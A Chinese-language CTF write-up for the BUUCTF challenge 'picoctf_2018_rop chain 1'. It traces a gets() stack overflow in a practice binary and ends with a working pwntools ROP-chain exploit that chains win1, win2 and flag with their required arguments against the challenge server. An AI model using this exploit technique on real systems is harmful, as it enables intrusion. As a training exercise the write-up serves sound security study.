[buuctf]picoctf_2018_rop chain 1
首先查看一下文件的保护措施

然后用ida打开具体看一下这个文件,首先反编译main函数看一下

这里的漏洞很可能出现在vuln函数,点击进行跟进

这里调用了gets函数,很明显存在栈溢出的漏洞
然后观察函数名称的列表发现这里存在一个flag的函数,查看一下

这里可以看到当win1 && win2 && a1 == 0xDEADBAAD条件成立的时候就可以直接获取到flag,a1是flag函数的参数
就需要使得win1,win2的值也为1,继续查看函数列表,发现给win1,win2赋值的函数


这里发现win1的值直接就是1了,win2的值为1需要满足a1==0xBAAAAAAD,而a1也是win2函数的参数
然后构建payload的思路就是先进行栈溢出,修改返回地址先到win1,然后在返回到win2,最后调用flag函数读取flag,
这里win1是不需要提供参数的,win2和flag函数则需要输入参数
点击查看代码
from pwn import *
io=remote("node5.buuoj.cn",25590)
win1=0x080485CB
win2=0x080485D8
flag=0x0804862B
payload=b'A'*(0x18+4)+p32(win1)+p32(win2)+p32(flag)+p32( 0xBAAAAAAD)+p32(0xDEADBAAD )
io.sendlineafter("input> ",payload)
io.interactive()

浙公网安备 33010602011771号